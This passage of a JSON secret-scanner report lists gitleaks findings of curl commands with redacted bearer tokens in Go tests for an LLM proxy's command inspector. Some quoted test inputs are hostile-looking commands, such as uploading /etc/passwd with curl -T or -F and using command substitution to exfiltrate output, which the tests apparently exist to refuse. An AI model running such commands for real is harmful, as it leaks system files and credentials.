token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113472, "scanner": "gitleaks", "fingerprint": "7d0fa26506df9358f43897f8157e3834673d52f498b092d7cfc3400aa18e6b0b", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl commands this way:\n//\n//\tcurl https://api.example \\\n//\t  -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|86|curl commands this way: // // curl https://api.example // -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser.go"}, "region": {"startLine": 869}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113471, "scanner": "gitleaks", "fingerprint": "10865d6e0bbd2dbceb5a11fe8ff37595f7c9a6d043bca9257f5b43d520c6b867", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -sS -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|71|curl -ss -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/inspector_test.go"}, "region": {"startLine": 717}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113470, "scanner": "gitleaks", "fingerprint": "e7f20827ac9621283fd54fc763f5f14f663db1373a44ce265c0186514ba505a0", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -sS -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|70|curl -ss -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/inspector_test.go"}, "region": {"startLine": 704}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113469, "scanner": "gitleaks", "fingerprint": "e30cce4006d08d953e9e20857921b3863c735b1da3534402aa37ff954f634b1e", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -X POST -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|53|curl -x post -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/inspector_test.go"}, "region": {"startLine": 536}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113468, "scanner": "gitleaks", "fingerprint": "10e4f35721b5bb7dca74950c31917dba1ba0fad2b5d7380ded96b6d07e1f1b76", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -X POST -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|50|curl -x post -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/inspector_test.go"}, "region": {"startLine": 508}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113467, "scanner": "gitleaks", "fingerprint": "9f5528f055dd4fee02f9b1f233061ab0b3d114fc5e1a962a79023cfe7c0c4c53", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -X POST -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|36|curl -x post -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/inspector_test.go"}, "region": {"startLine": 369}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113466, "scanner": "gitleaks", "fingerprint": "6abbb6dbd3ba7835fbe2e394f93b11a91785ebd3e35a6d5b63c4b19a66e51f0a", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl with `2>/dev/null` redirection must rewrite the\n// curl AND preserve the redirect, so the harness keeps suppressing\n// stderr noise.\nfunc TestRewrite_BashCurlWithStderrRedirectPreservesTail(t *testing.T) {\n\tin := toolUse(\"Bash\", `{\"cmd\":\"curl -sS -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|34|curl with 2 /dev/null redirection must rewrite the // curl and preserve the redirect so the harness keeps suppressing //"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/inspector_test.go"}, "region": {"startLine": 344}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113465, "scanner": "gitleaks", "fingerprint": "891ffc7ef6a8a1a9ca1347edae9f7e23aa9902e8d9ac3fdb09611abe807de236", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl piped to jq must rewrite the curl portion AND\n// preserve the pipeline so the harness can still parse the response.\nfunc TestRewrite_BashCurlPipedToJqPreservesTail(t *testing.T) {\n\tin := toolUse(\"Bash\", `{\"cmd\":\"curl -sS -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|31|curl piped to jq must rewrite the curl portion and // preserve the pipeline so the harness can still parse the response."}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/inspector_test.go"}, "region": {"startLine": 316}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113464, "scanner": "gitleaks", "fingerprint": "446f4cbec047385a8f3796ea066f9ed93b2211596386fb186ac0957d2391a8d3", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -sS -X POST https://api.agentphone.ai/v1/calls \\\\\\n  -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|28|curl -ss -x post token n -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/inspector_test.go"}, "region": {"startLine": 283}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113463, "scanner": "gitleaks", "fingerprint": "736326b284d697ff1a83fa0ad92e3b701e8af3417559e74dc0060fc57a40c57d", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -X POST -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|25|curl -x post -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/inspector_test.go"}, "region": {"startLine": 257}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113462, "scanner": "gitleaks", "fingerprint": "6e9edeececf580535b1a7b7332f02a01ed4e05b7ddde2441d326fad8226a429e", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -sS -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|14|curl -ss -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/inspector_test.go"}, "region": {"startLine": 149}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113461, "scanner": "gitleaks", "fingerprint": "29c050338c99d4f4d34112f46aea0bbfae633eef34f11eae8644512198ccaf53", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl \u2026)` can exfiltrate the curl\n// output to a sibling command. Refuse.\nfunc TestDefaultParser_BashCommandSubstitutionRefused(t *testing.T) {\n\tp := DefaultParser{}\n\tin := toolUse(\"Bash\", `{\"cmd\":\"echo $(curl -sS -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|13|curl can exfiltrate the curl // output to a sibling command. refuse. func token t testing.t p : defaultparser in : toolu"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/inspector_test.go"}, "region": {"startLine": 131}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113460, "scanner": "gitleaks", "fingerprint": "52d73e9e9c3a3f8cd6c1a8eb32efdf945854b71064d5a484295ddbf58bb6540a", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl followed by `2>/dev/null` redirect must rewrite \u2014\n// redirections operate on streams the credential doesn't flow through.\nfunc TestDefaultParser_BashCurlWithStderrRedirect(t *testing.T) {\n\tp := DefaultParser{}\n\tin := toolUse(\"Bash\", `{\"cmd\":\"curl -sS -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|11|curl followed by 2 /dev/null redirect must rewrite // redirections operate on streams the credential doesn t flow throug"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/inspector_test.go"}, "region": {"startLine": 120}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113459, "scanner": "gitleaks", "fingerprint": "2c3de30c6440623547992d4f98f33f05b7d0ac45fbe9715d68be038e7d44d123", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl CallExpr; the pipe target operates on\n// the curl's response (already authorized) so it doesn't compromise\n// the credential.\nfunc TestDefaultParser_BashCurlPipedToJq(t *testing.T) {\n\tp := DefaultParser{}\n\tin := toolUse(\"Bash\", `{\"cmd\":\"curl -sS -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|10|curl callexpr the pipe target operates on // the curl s response already authorized so it doesn t compromise // the cred"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/inspector_test.go"}, "region": {"startLine": 102}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113458, "scanner": "gitleaks", "fingerprint": "bd800463a99c0250b938b29e6c4e44636971525c07a97bbf4108cdd4c4f3ad4e", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -X POST -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|6|curl -x post -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/inspector_test.go"}, "region": {"startLine": 66}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113457, "scanner": "gitleaks", "fingerprint": "9cd96f92a1c4e61f6b5153bc42dc85557044ede7808992f90587c4ebfc2aa976", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|2|curl -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/inspector_test.go"}, "region": {"startLine": 22}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113456, "scanner": "gitleaks", "fingerprint": "f513810f764a52f2369fdd005e8c3479368346921a14c8fee41b39b8eba5f9d1", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -s -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|18|curl -s -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 186}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113455, "scanner": "gitleaks", "fingerprint": "44ee5b9bc27b0115b392736ac643e185a4435038d8d13f5c8025265850b64f8d", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -sS -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|13|curl -ss -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 139}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113454, "scanner": "gitleaks", "fingerprint": "9e819c7ced84e092c996a116aa74fa0d3a5d0bb22bc6ffb4339193fa865b3319", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -sS -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|10|curl -ss -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 107}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113453, "scanner": "gitleaks", "fingerprint": "152fb2a0b658222ef988b7d06f8b1632192e9ae7774d05740ea5c4d9a2f1e4e5", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -G -sS -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|10|curl -g -ss -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 102}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113452, "scanner": "gitleaks", "fingerprint": "1486aad03f61e48a1d382490c5584eeab4ec739ec2cf4ce8115f726ae6901f79", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -sS -X POST https://api.agentphone.ai/v1/calls \\\\\\n  -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|9|curl -ss -x post token n -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 97}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113451, "scanner": "gitleaks", "fingerprint": "269b0e747e9f63e26949a35294f354e52720185a40d7a18d3f2e41e023f055b3", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -sS -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|9|curl -ss -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 92}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113450, "scanner": "gitleaks", "fingerprint": "aa0de46046060f77397b5e8935065e2f9d19558657ff773429d96e43157bf9ad", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -sS -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|8|curl -ss -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 87}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113449, "scanner": "gitleaks", "fingerprint": "770651a495978a326664cbc7f27175e5d143285c276ca96aac5edefdc805259a", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -T /etc/passwd -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|6|curl -t /etc/passwd -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 62}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113448, "scanner": "gitleaks", "fingerprint": "a2d25b6902d16bdf6b0657bf74fb6bca58fe2b1ad1b2cfd0e0c24a1ca710316e", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -F 'file=@/etc/passwd' -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|6|curl -f file /etc/passwd -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 61}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113447, "scanner": "gitleaks", "fingerprint": "7b03b40f008744ed307baa962c965832f6981c13481d80c5e92666c1c64f3920", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -x http://proxy.example -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|5|curl -x http://proxy.example -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 60}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113446, "scanner": "gitleaks", "fingerprint": "1bc953b66fb4caf84410fe8b3b2c976ee3e09717d27a80c1e484988466edae31", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -k -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|5|curl -k -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 59}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113445, "scanner": "gitleaks", "fingerprint": "747937c9df6e67690c2102a369bf0ba476d0bc84126434dd2ef7f853b1972810", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -L -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|5|curl -l -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 58}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113444, "scanner": "gitleaks", "fingerprint": "b72365e0898bc8bca78210af65ddfffa552620c5c74a363d5f27c218e3b7eff7", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -sS -X POST -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|2|curl -ss -x post -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 27}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113443, "scanner": "gitleaks", "fingerprint": "2fbc95b401b601f84c19fc3e9eb67978a96a0212531d99b06303b490a8a3ba15", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -A 'clawvisor-smoke/1.0' -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|2|curl -a clawvisor-smoke/1.0 -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 26}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113442, "scanner": "gitleaks", "fingerprint": "fc7a5737502c4c2e339c05d9acbc99a1a95a60f38bcc34b14c8ab27e4bb6af7b", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -m 30 -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|2|curl -m 30 -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 25}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113441, "scanner": "gitleaks", "fingerprint": "e6a73f597fef57e25ce8dea20d68819f37c4f92a233c604afde09fb1813411a6", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl --max-time 30 -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|2|curl --max-time 30 -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 24}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113440, "scanner": "gitleaks", "fingerprint": "3a3edd2b088ccc44b94436bd982a69cced1c17a7baa75021241aa49b95a10e85", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl --compressed -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|2|curl --compressed -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 23}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113439, "scanner": "gitleaks", "fingerprint": "4fbbf5861d9a92ece72e61f4cf7f2ba6635d40d0013014243f9cdfc694db42bd", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -i -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|2|curl -i -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 22}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113438, "scanner": "gitleaks", "fingerprint": "c2ae24c163a8e029807ecd301a57e5a4a8c2d37a11486b3dc7b6897f3f58da15", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl --silent -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|2|curl --silent -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 21}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113437, "scanner": "gitleaks", "fingerprint": "ebddcfc7e5ba4aa82eba20c7af3723ca33144efb1be0ad8902378be001e2acce", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -fsS -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|1|curl -fss -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 20}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113436, "scanner": "gitleaks", "fingerprint": "039ca3452165db56588ba8a9719051286a899aff414d42901a8aff92d061b6e5", "category": 